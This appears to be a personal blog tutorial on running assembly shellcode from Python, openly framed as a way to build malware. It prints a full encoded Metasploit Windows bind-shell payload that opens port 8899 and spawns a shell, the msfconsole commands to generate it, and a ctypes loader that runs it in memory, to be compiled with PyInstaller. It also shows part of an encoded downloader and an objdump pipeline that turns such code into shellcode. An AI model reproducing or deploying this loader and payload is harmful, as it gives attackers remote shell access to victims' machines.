Combining the power of Python and Assembly.

Assembly is a powerful low level language suitable for a number of applications. One of those applications is in malware. If you have a sample of ASM that performs a specific operation such as spawning an OS shell or downloading and executing a binary from a remote host you might want to employ this functionality in a high level language such as Python or Ruby to create a more powerful piece of software/malware. 
 
 In order to do so however we can’t just copy/paste ASM directly into a Python script. Instead, Python reads the machine code in as a bytearray of shellcode where the binary data is represented by a hex value where the \x represents the offset. If you’ve worked with Metasploit before you might recognize that this looks like the following.

"\xb8\xee\x7c\x98\x76\xdb\xc6\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x2d\x78\x7a\x83\x4d"
"\x69\xf8\x6c\xad\x6a\x9d\xe5\x48\x5b\x9d\x92\x19\xcc\x2d"
"\xd0\x4f\xe1\xc6\xb4\x7b\x72\xaa\x10\x8c\x33\x01\x47\xa3"
"\xc4\x3a\xbb\xa2\x46\x41\xe8\x04\x76\x8a\xfd\x45\xbf\xf7"
"\x0c\x17\x68\x73\xa2\x87\x1d\xc9\x7f\x2c\x6d\xdf\x07\xd1"
"\x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc"
"\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66"
"\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91"
"\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f"
"\x6f\x4e\x2d\xdf\xf9\x14\x0a\xfb\xa2\xcf\x33\x5a\x0f\xa1"
"\x4c\xbc\xf0\x1e\xe9\xb7\x1d\x4a\x80\x9a\x49\xbf\xa9\x24"
"\x8a\xd7\xba\x57\xb8\x78\x11\xff\xf0\xf1\xbf\xf8\xf7\x2b"
"\x07\x96\x09\xd4\x78\xbf\xcd\x80\x28\xd7\xe4\xa8\xa2\x27"
"\x08\x7d\x5e\x2f\xaf\x2e\x7d\xd2\x0f\x9f\xc1\x7c\xf8\xf5"
"\xcd\xa3\x18\xf6\x07\xcc\xb1\x0b\xa8\xd0\x82\x85\x4e\x7e"
"\x15\xc0\xd9\x16\xd7\x37\xd2\x81\x28\x12\x4a\x25\x60\x74"
"\x4d\x4a\x71\x52\xf9\xdc\xfa\xb1\x3d\xfd\xfc\x9f\x15\x6a"
"\x6a\x55\xf4\xd9\x0a\x6a\xdd\x89\xaf\xf9\xba\x49\xb9\xe1"
"\x14\x1e\xee\xd4\x6c\xca\x02\x4e\xc7\xe8\xde\x16\x20\xa8"
"\x04\xeb\xaf\x31\xc8\x57\x94\x21\x14\x57\x90\x15\xc8\x0e"
"\x4e\xc3\xae\xf8\x20\xbd\x78\x56\xeb\x29\xfc\x94\x2c\x2f"
"\x01\xf1\xda\xcf\xb0\xac\x9a\xf0\x7d\x39\x2b\x89\x63\xd9"
"\xd4\x40\x20\xe9\x9e\xc8\x01\x62\x47\x99\x13\xef\x78\x74"
"\x57\x16\xfb\x7c\x28\xed\xe3\xf5\x2d\xa9\xa3\xe6\x5f\xa2"
"\x41\x08\xf3\xc3\x43"

As alluded to, this is shellcode generated by Metasploit, what this shellcode does when executed, is open port 8899 on the target Windows machine and listens for incoming connections over TCP. Once a connection has been established it spawns an OS shell. You can reproduce it by entering the following commands into your instance of msfconsole.

use payload/windows/shell/bind_tcp
set LPORT 8899
generate -b '\x00' -e x86/shikata_ga_nai -f /tmp/payload.txt

This will save the generated shellcode to a file called 'payload.txt' in your /tmp/ directory. The -b flag omits the use of a bad character(The null byte) and the -e flag sets the encoding scheme for the payload to 'shikata_ga_nai' on x86 architecture. More on generating payloads here.

Executing the payload with Python.

We can have this shellcode execute on our target machine by using the CreateRemoteThread method. Python's 'ctypes' library is excellent for this.

import os
import ctypes

def execute():
# Bind shell
shellcode = bytearray(
"\xb8\xee\x7c\x98\x76\xdb\xc6\xd9\x74\x24\xf4\x5b\x31\xc9"
"\xb1\x53\x31\x43\x12\x03\x43\x12\x83\x2d\x78\x7a\x83\x4d"
"\x69\xf8\x6c\xad\x6a\x9d\xe5\x48\x5b\x9d\x92\x19\xcc\x2d"
"\xd0\x4f\xe1\xc6\xb4\x7b\x72\xaa\x10\x8c\x33\x01\x47\xa3"
"\xc4\x3a\xbb\xa2\x46\x41\xe8\x04\x76\x8a\xfd\x45\xbf\xf7"
"\x0c\x17\x68\x73\xa2\x87\x1d\xc9\x7f\x2c\x6d\xdf\x07\xd1"
"\x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc"
"\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66"
"\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91"
"\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f"
"\x6f\x4e\x2d\xdf\xf9\x14\x0a\xfb\xa2\xcf\x33\x5a\x0f\xa1"
"\x4c\xbc\xf0\x1e\xe9\xb7\x1d\x4a\x80\x9a\x49\xbf\xa9\x24"
"\x8a\xd7\xba\x57\xb8\x78\x11\xff\xf0\xf1\xbf\xf8\xf7\x2b"
"\x07\x96\x09\xd4\x78\xbf\xcd\x80\x28\xd7\xe4\xa8\xa2\x27"
"\x08\x7d\x5e\x2f\xaf\x2e\x7d\xd2\x0f\x9f\xc1\x7c\xf8\xf5"
"\xcd\xa3\x18\xf6\x07\xcc\xb1\x0b\xa8\xd0\x82\x85\x4e\x7e"
"\x15\xc0\xd9\x16\xd7\x37\xd2\x81\x28\x12\x4a\x25\x60\x74"
"\x4d\x4a\x71\x52\xf9\xdc\xfa\xb1\x3d\xfd\xfc\x9f\x15\x6a"
"\x6a\x55\xf4\xd9\x0a\x6a\xdd\x89\xaf\xf9\xba\x49\xb9\xe1"
"\x14\x1e\xee\xd4\x6c\xca\x02\x4e\xc7\xe8\xde\x16\x20\xa8"
"\x04\xeb\xaf\x31\xc8\x57\x94\x21\x14\x57\x90\x15\xc8\x0e"
"\x4e\xc3\xae\xf8\x20\xbd\x78\x56\xeb\x29\xfc\x94\x2c\x2f"
"\x01\xf1\xda\xcf\xb0\xac\x9a\xf0\x7d\x39\x2b\x89\x63\xd9"
"\xd4\x40\x20\xe9\x9e\xc8\x01\x62\x47\x99\x13\xef\x78\x74"
"\x57\x16\xfb\x7c\x28\xed\xe3\xf5\x2d\xa9\xa3\xe6\x5f\xa2"
"\x41\x08\xf3\xc3\x43")

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)

ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
buf,
ctypes.c_int(len(shellcode)))

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_int(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),
ctypes.c_int(-1))
if __name__ == "__main__":
execute()

Compiling this code with Pyinstaller and executing it will result in the shellcode we have defined being run in memory. More on code injection here.

Converting custom ASM to a bytearray of shellcode.

Say you have some custom machine code that you would like to employ in a similar manner. No problem, it so happens there’s a Linux utility to assist us with exactly that.
 
 In example, here’s some encoded ASM that I generated with an unrelated script. For the sake of brevity I will not post the entire program but a sample so that you get a feeling for what we’re converting here.

xor eax,eax
push eax
push 0x22657841
pop eax
shr eax,0x08
push eax
mov eax,0x1d4f211f
mov ebx,0x78614473
xor eax,ebx
push eax
mov eax,0x3c010e70
mov ebx,0x5567524a
xor eax,ebx
push eax
mov eax,0x3c481145
mov ebx,0x78736c6c
xor eax,ebx
push eax
mov eax,0x4a341511
mov ebx,0x6d516d74

What the complete program does is download a binary from a remote host and run it. To convert this to a bytearray of shellcode we will use the utility called objdump and a regular expression using grep, after which the shellcode will be printed to the terminal. The commands for which are structured as follows.

objdump -d ./PROGRAM|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

All on one line of course. Where you replace “PROGRAM” with the binary ASM file and if all went well, the proper shellcode will be printed to the terminal in the following format.

\x26\xde\x26\x44\x3c\xb9\xe8\x67\x91\xb1\xa0\x7f\xf6\xfc
\x7b\xf4\xcc\x8b\x7d\xdc\x1c\x73\xd1\x21\x91\x86\x2b\x66
\x16\x79\x5e\x9e\x64\x04\x59\x65\x16\xd2\xec\x7d\xb0\x91
\x57\x59\x40\x75\x01\x2a\x4e\x32\x45\x74\x53\xc5\x8a\x0f

All that's left is to add your newly formatted code as an argument to the bytearray method in the Python script from before like so.

def execute():
shellcode = bytearray(#---SHELLCODE GOES HERE---#)

Thank you for reading my first blog post! I hope you found it informative. Please feel free to leave any feedback. You can find me here, on Twitter at @AntiSec_Inc and on Github.